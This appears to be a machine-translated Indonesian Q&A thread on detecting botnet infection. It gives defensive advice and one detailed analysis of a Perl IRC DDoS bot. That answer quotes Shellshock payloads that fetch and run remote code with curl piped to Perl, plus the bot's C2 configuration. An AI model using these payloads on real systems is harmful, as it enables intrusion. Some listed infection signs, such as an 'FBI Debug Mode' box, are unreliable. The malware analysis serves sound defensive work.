it-swarm-id.com

Bagaimana saya tahu jika komputer saya digunakan untuk serangan DDoS berbasis botnet?

A botnet adalah kumpulan komputer yang dikompromikan, yang masing-masing dikenal sebagai 'bot', yang terhubung ke Internet. Ketika komputer dikompromikan oleh penyerang, sering ada kode di dalam malware yang memerintahkannya untuk menjadi bagian dari botnet. "Botmaster" atau "bot herder" mengontrol komputer yang disusupi ini melalui protokol jaringan berbasis standar seperti IRC dan http.

Apakah ada cara untuk mendeteksi bahwa komputer Anda sedang digunakan dalam serangan DDoS berbasis botnet?

Ada beberapa alat seperti perangkat lunak yang dapat mendeteksi lalu lintas aneh dan mengeksploitasi aktivitas dari komputer saya?

22
Diogo

Tidak ada cara mudah untuk mendeteksi apakah mesin Anda adalah bagian dari botnet. Sebaliknya, pertahanan terbaik adalah pencegahan: hindari terinfeksi sejak awal.

Ada banyak sekali tulisan tentang cara menghindari pelanggaran keamanan, terlalu banyak untuk diulang di sini. Untuk pemula, Anda dapat membaca, misalnya, panduan keamanan untuk pengguna non-teknis , pengerasan Windows , Hardening Linux Server , atau - Secure Linux Desktop . Selamat membaca!

16
D.W.

Menganalisis kernel dan executable sebelum dijalankan biasanya merupakan praktik yang aman, tetapi yang terbaik dikombinasikan dengan model kontrol akses OS yang kuat, seperti SELinux.

Meskipun sulit untuk menemukan backdoors dalam kode self-modifying atau self-checking, biasanya keberadaan kode self-modifying atau self-checking sendiri merupakan indikator malware. Misalnya, alat Tirai Merah MANDIANT dapat membantu analis malware dalam mendeteksi entropi tinggi di bagian kode, atau nama/pola aneh di bagian ini.

Selain itu, banyak praktik lain ada (dan tidak semua didokumentasikan), seperti penelusuran, emulasi, dkk. Menggabungkan semua metode ini menjadi satu alat atau teknik tidak umum, karena analis malware sering beralih dari statis ke analisis dinamis dan kembali dengan sangat cepat (untuk mendapatkan perspektif). Namun, pendekatan bertahap dengan menggunakan set alat minimal dapat mencapai banyak hal dalam waktu yang sangat singkat. Misalnya, saya sering menggunakan pescanner.py pada PE yang dapat dieksekusi sebelum menjalankannya di kotak pasir bersama dengan dumper memori proses PE dan instrumentasi untuk melacak seperti [~ # ~] pin [~ # ~] .

Beberapa literatur terbaru telah semakin baik dalam bidang penelitian ini.

10
atdre

Pertama, Anda tidak dapat mempercayai komputer yang disusupi karena output dari semua utilitas dapat dipalsukan untuk menyembunyikan keberadaan aktivitas jahat.

Saya biasanya tidak mengharapkan komputer mana pun dengan praktik keamanan yang kuat untuk menjadi bagian dari bot net. Di mana Anda hanya menginstal kode dari sumber tepercaya, memiliki kata sandi yang kuat (yang tidak digunakan di tempat lain), dll. Kecuali ISP saya mengatakan mereka telah menerima laporan aktivitas tidak biasa dari alamat IP saya yang menunjukkan bot potensial, atau pengguna memberi tahu saya mereka ditipu untuk menginstal perangkat lunak yang tidak melakukan seperti yang diiklankan dan mereka sekarang menyadari kemungkinan besar adalah trojan.

Dalam kasus itu, saya akan mulai menguji tanda-tanda bot potensial:

  • memonitor aktivitas jaringan. Jalankan netstat - apakah semua koneksi lebih atau kurang masuk akal? (abaikan koneksi lokal; jalankan whois pada IP asing yang saya tidak kenal). Ingat output netstat dapat dipalsukan, jadi Anda juga menjalankan wireshark (penganalisa jaringan) dari komputer lain (dianggap aman) di jaringan lokal saya, dan memeriksa untuk melihat apakah ada lalu lintas yang tidak biasa ke/dari IP non-lokal yang aneh alamat (itu bukan hal rutin dari router/printer jaringan saya, dll)?

  • Boot ke live cd dari distribusi yang sama (sehingga Anda mempercayai utilitas), dan menjalankan checksum (md5) pada utilitas penting (/bin, /sbin/, /usr/bin/, dll.) dan bandingkan dengan checksum yang dikenal dari komputer yang aman dengan OS/versi yang sama (atau buat instalasi baru dan jalankan semua pembaruan dan kemudian hasilkan checksum untuk dibandingkan). (Jika checksum tidak cocok, itu mungkin karena pembaruan utilitas; jadi periksa versi dan selidiki lebih lanjut). Saya berasumsi sistem linux/unix untuk jawaban ini, tetapi mungkin Anda bisa melakukan hal yang sama untuk windows jika Anda tahu apa yang harus diperiksa.

Jika Anda menemukan bukti bot, saya akan mencadangkan data saya (yang tidak dapat dieksekusi), menghapus bersih hard disk, dan menginstal ulang OS dari sumber yang aman dengan kata sandi yang berbeda. Saya akan sangat berhati-hati membuka dokumen yang dapat berisi makro (mis., Doc, pdf) dari komputer yang dikompromikan (pastikan untuk menonaktifkan makro dalam program yang relevan sebelum melihat file-file ini lagi, tidak masuk sebagai administrator/root, dan menginstal pemindai virus).

10
dr jimbob

Bot yang sangat bagus akan menyembunyikan diri dari kernel.

Satu-satunya cara untuk mendeteksi itu adalah mengendus lalu lintas antara mesin dan internet, menggunakan mesin eksternal yang dikenal baik. Bahkan saat itu tidak akan ada cara untuk mengetahui apakah bot itu hanya tidak aktif pada saat Anda mencarinya.

Pilihan lain adalah mem-boot mesin dari media yang dikenal baik (sebaiknya hanya baca) (mis. CD atau DVD) dan lakukan analisis forensik mesin untuk mencari jejak infeksi.

9
Tinned_Tuna

Darknet juga merupakan cara yang baik untuk membantu menemukan mesin yang terinfeksi di jaringan Anda. Ini pada dasarnya adalah subnet pada LAN Anda yang biasanya tidak memiliki lalu lintas yang diarahkan ke sana, dengan mesin pencatat di dalamnya, yang mendeteksi mesin mana yang tidak mematuhi pengaturan jaringan normal Anda, mis. memindai node di jaringan untuk menginfeksi.

Karena Anda harus tahu perilaku apa yang normal dan apa yang tidak, mesin yang terinfeksi yang mencoba menginfeksi orang lain akan menonjol seperti jempol yang sakit.

9
deed02392

Jawaban spesifik: DDoS Perl IrcBot v1.0/2012 oleh Tim Keamanan DDoS

Penolakan

  • Ini dilakukan sekitar versi khusus ini malware (dipanggil nanti tool ) ... Ini bukan metode umum!

  • Bermain dengan malware dan virus bisa berbahaya! Gunakan perangkat keras khusus, pengguna, idealy tidak terhubung ke Internet!

Anda telah diperingatkan!

Pengantar

Saya memposting jawaban ini sebagai kasus praktis, karena saya sudah mengerjakan ini alat pertama kali pada tahun 2012 dan baru-baru ini, karena Shellshock bug dan exploit ...

Saya telah menjadi email yang berisi string yang sama dengan: To, References, Cc, From, Subject, Date, Message-ID, Comments, Keywords, Resent-Date and Resent-From:

() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt|Perl;lwp-downloa..

Saya pertama kali menemukan ini lucu, periksa di sekitar pengguna email dan server saya, tidak ada yang aneh, ok ...

Untuk sepenuhnya yakin, saya sudah mencoba mengunduh malware, sayangnya mereka dijatuhkan dari server.

... Beberapa hari kemudian, saya telah melihat ini di satu log server web:

... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0"  403 2132 \
        "() { :; }; curl http://202.143.x.x/lib21/index.cgi | Perl" \

Di mana bidang referer dan user-agent berisi string yang sama. Tetapi dengan url lain.

Deobsuscation

Kali ini, saya dapat mengunduh tool:

wget http://202.143.x.x/lib21/index.cgi
less index.cgi

#!/usr/bin/Perl
use MIME::Base64;
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI...
...IyMjIyMj'));

Langkah pertama, membuatnya mudah dibaca. Untuk melakukan ini, kita hanya perlu mengganti eval dengan print:

Perl <(sed s/eval/print/ index.cgi) >ircBot.pl

sed -ne '3,11{s/^\(.\{65\}\).*$/\1/;p}' ircBot.pl
#################################################################
##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [
##      Stealth MultiFunctional IrcBot writen in Perl          ##
##        Teste on every system with Perl instlled             ##
##                                                             ##
##     This is a free program used on your own risk.           ##
##        Created for educational purpose only.                ##
## I'm not responsible for the illegal use of this program.    ##
#################################################################

Ini dilakukan untuk tujuan pendidikan !?

Jadi kita bisa belajar ...

Pengujian

Anda dapat menemukan versi deobfuscated di sana . (Bukan posting saya, saya telah menemukan mereka dengan konfigurasi yang persis sama setelah membaca posting ini )

Catatan: Untuk menjalankan alat semacam ini, saya menggunakan hawdware khusus, tidak terhubung dan menjalankan mesin virtual Khusus = di dalamnya, untuk dapat melacak, memantau atau menghentikannya dari tingkat atas.

    31      ##### [ Configuration ] #####
    32      #############################
    33      
    34      my @rps = ("/usr/local/Apache/bin/httpd -DSSL",
    35                         "/usr/sbin/httpd -k start -DSSL",
    36                 "/usr/sbin/httpd",
    37                         "/usr/sbin/sshd -i",
...
    43                         "/usr/sbin/acpid",
    44                         "/usr/sbin/cron");
    45      my $process = $rps[Rand scalar @rps];
    46      
    47      my $vers = "\001VERSION - unknown command.\001";
    48      my $ircname = "shock";
    49      my $realname = `uname -vr`;
    50      my $nick = "Perl";
    51      
    52      $server = 'fflyy.su' unless $server;
    53      my $port = '8080';
    54      
    55      my $linas_max='10';
    56      my $sleep='5';
    57      
    58      my $homedir = "/tmp";
    59      my $version = 'DDoS Perl Bot v1.0';
    60      
    61      my @admins = ("M","st0n3d","x00","Jorgee");
    62      my @hostauth = ("lolhome");
    63      my @channels = ("#mperl2");
    64      $unamea = `uname -a`;
    65      $uid = `id`;
    66      
    67      my $pacotes = 1;
    68      
    69      #################################################################
    70      ##### [ Stop Editing if you dont know what are you doing. ] #####

Nah, pada baris 31 hingga 70, Anda akan menemukan konfigurasi:

Kita sudah bisa mengamati itu $process secara acak didefinisikan dari array string, pada baris 45.

Setelah mengubah $server, $port, $admins, @hostauth and @channels, Saya menjalankan alat.

Lab

  • Hal pertama yang saya katakan: alat ini memanaskan banyak CPU. Pada sistem besar ini tidak berbahaya, tetapi pada konfigurasi saya yang buruk, ini penting.

  • Bot terhubung di irc saya. Saya bisa memintanya seperti disajikan dalam tajuk skrip, dan jika saya mengirim /msg, mereka membuka ruang obrolan pribadi yang bisa saya gunakan seperti Shell console.

  • Di sisi server, sekali dijalankan, mereka menghilang. Jika saya menjalankan ps ax, Saya melihat proses httpd yang sebelumnya tidak ada di sana, tapi ...

Cukup sekarang. Ada beberapa perintah yang saya jalankan untuk menunjukkan di mana ia berada (tentu saja, semua perintah ini dijalankan sebagai root atau via Sudo):

  • Mencari menjalankan Perl yang dapat dieksekusi:

    ls -l /proc/*/exe | grep Perl
    lrwxrwxrwx 1 www-data www-data 0 oct 30 09:39 /proc/23664/exe -> /usr/bin/Perl
    

    Ini akan menunjukkan semua proses menggunakan Perl sebagai dieksekusi. Ini bukan berdasarkan cmdline.

  • Mencari TCP koneksi:

    netstat -tanp | grep :8080
    tcp     0   0 192.168.4.3:33083   192.168.4.1:8080   ESTABLISHED 23664/httpd -DSSL
    

    Dalam konfigurasi khusus ini (pembuatan malware), port 8080 digunakan sebagai port jarak jauh . Bahkan jika Anda memegang server biasa, menggunakan port 8080, port ini digunakan sebagai port lokal .

  • Mencari pid server web pengguna yang tidak ditahan oleh proses server web

    ps --user www-data ho ppid,pid,cmd | sed -ne 's/^ *1 //p'
    23664 /usr/local/Apache/bin/httpd -DSSL
    
  • Mencari proses yang memakan CPU:

    top
    top - 09:48:00 up 58 days, 21:51,  1 user,  load average: 0.02, 0.03, 0.00
    Tasks:  15 total,   3 running,  12 sleeping,   0 stopped,   0 zombie
    %Cpu(s):  0.7 us,  0.3 sy,  0.0 ni, 98.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
    KiB Mem:    262144 total,    88164 used,   173980 free,        0 buffers
    KiB Swap:        0 total,        0 used,        0 free,        0 cached
    
      PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND
    23664 www-data  20   0  7408 2956 1204 R  91.7  1.1   8:30.73 /usr/local/apac
        1 root      20   0  2152  724  620 S   0.0  0.3   0:36.47 init
     1028 root      20   0  2248  776  568 S   0.0  0.3   0:03.76 rpcbind
     1039 statd     20   0  2324 1072  820 S   0.0  0.4   0:00.00 rpc.statd
    

Membunuh mereka.

Nah, sekarang saatnya untuk menghentikan ini:

kill -9 23664

Untuk penggunaan lebih lanjut, sementara alat ini tetap tidak dimodifikasi, saya dengan cepat menulis ini perlircbotKiller.pl (yang dapat dijalankan dengan setidaknya hak yang sama dari bot sendiri ... atau root, tebak!)

#!/usr/bin/Perl

my @rps=("/usr/local/Apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL",
   "/usr/sbin/httpd", "/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D",
   "/usr/sbin/Apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x",
   "/usr/sbin/acpid", "/usr/sbin/cron");

opendir my $dh,"/proc";
map {
    open my $fh,"/proc/".$_."/cmdline";
    my $cmdline=<$fh>;
    close $fh;
    $cmdline=~s/\0*$//g;
    if (grep { $cmdline eq $_ } @rps) {
    printf "Sending SIGKILL to process %d\n", $_;
        kill 9, $_;
    }; }
grep { readlink("/proc/".$_."/exe") =~ m|/Perl| }
grep { /^\d+$/ }
readdir $dh;

... Dan kipas saya mulai lambat lagi ...

Alat khusus

Setelah menulis ulang, saya menulis sedikit Perl script didedikasikan untuk

  • mencari skrip dikaburkan Perl, python atau php yang menyembunyikan namanya dengan menggunakan Apache, acpi, httpd, sshd, dll ...

  • mencari proses di mana parent pid adalah 1.

  • daftar koneksi terbuka

  • menawarkan cara sederhana untuk membunuh proses mencurigakan.

    Suspicious process      '5089',
        has parent pid: '1',
        run             '/usr/bin/Perl',
        claim to be     '/sbin/syslogd'
        and has port    tcp '8080'
        open to         '93.174.93.80'
    Send SIGKILL to 5089 (Y/n)? Y
    

Ini berfungsi baik dengan banyak derivasi malware yang saat ini dikembangkan, tetapi saya harap ini bisa bekerja dengan malware lain menggunakan metode yang sama.

Kesimpulan.

  • tool ini (bot Perl irc) tidak sepenuhnya tidak terlihat, tetapi begitu dijalankan mereka menawarkan semua yang dapat dilakukan oleh pengguna yang terinfeksi. (Dengan hak pengguna).

  • Versi ini dari Shellshock serangan tidak menyimpan malware pada sistem yang terinfeksi, jadi reboot yang sederhana bisa cukup untuk menjatuhkannya.

  • Peduli dengan alat lain, penyerang dapat menggunakan setelah ini alat dimulai! Khusus: cron dan at, tetapi setiap skrip atau biner pengguna dapat dijalankan dan dimodifikasi dapat terinfeksi!

  • Peduli tentang masalah keamanan lokal lainnya yang dapat mengizinkan peningkatan hak istimewa lokal juga !!

1
F. Hauri

1) Baterai Anda terkuras saat dimatikan.

2) Anda kemudian menemukan PC atau laptop Anda tidak pernah benar-benar mati, kecuali baterai atau kabel listrik dilepas.

3) Adaptor nirkabel Anda dinonaktifkan tetapi Anda melihat masih harus ada koneksi nirkabel jarak jauh. (karena berbagai alasan saya tidak akan mendaftar di sini)

4) Pengguna yang tidak dikenal memiliki kepemilikan Anda C: drive, dan banyak lagi.

5) Anda kehilangan izin akses ke file di file system32 dan Program (x86) hal-hal seperti Cyberlink, Bluetooth, Microsoft Shell ... dll.

6) Poin pemulihan Anda menghilang.

7) File Shredder di McAfee atau Avast tiba-tiba tidak bisa rusak, atau hanya tampak.

8) Perubahan firewall yang tidak Anda lakukan.

9) selama pemulihan sistem di luar partisi windows Anda melihat kotak flash oleh pada layar yang mengatakan FBI Debug Mode

10) Jika 9), maka "sistem telah dipukul".

1
MaxImpact

Anda dapat menggunakan penganalisa jaringan. periksa lalu lintas keluar. Sebagian besar serangan menatap di bawah protokol http/tcp/udp dengan ukuran paket besar/interval cepat.

Jika PC Anda sering terhubung ke server/ip yang tidak dikenal dan memposting/menghubungkannya secara teratur. Anda dapat yakin bahwa Anda dikendalikan oleh C & C Server dari B Master.

1
Hidden

Ada alat yang tersedia dari TrendMicro untuk memeriksa infeksi Bot.

http://free.antivirus.com/us/rubotted/

1
tekybala

Untuk memeriksa apakah PC atau jaringan Anda adalah bot, cobalah layanan kaspersky https://blog.kaspersky.com/simda-botnet-check/8304/ atau RUBotted ( http: //free.antivirus.com/us/rubotted/ ) oleh Trend Micro. ia mengklaim memantau komputer untuk kemungkinan infeksi dan aktivitas mencurigakan yang terkait dengan bot.

1
Badr Bellaj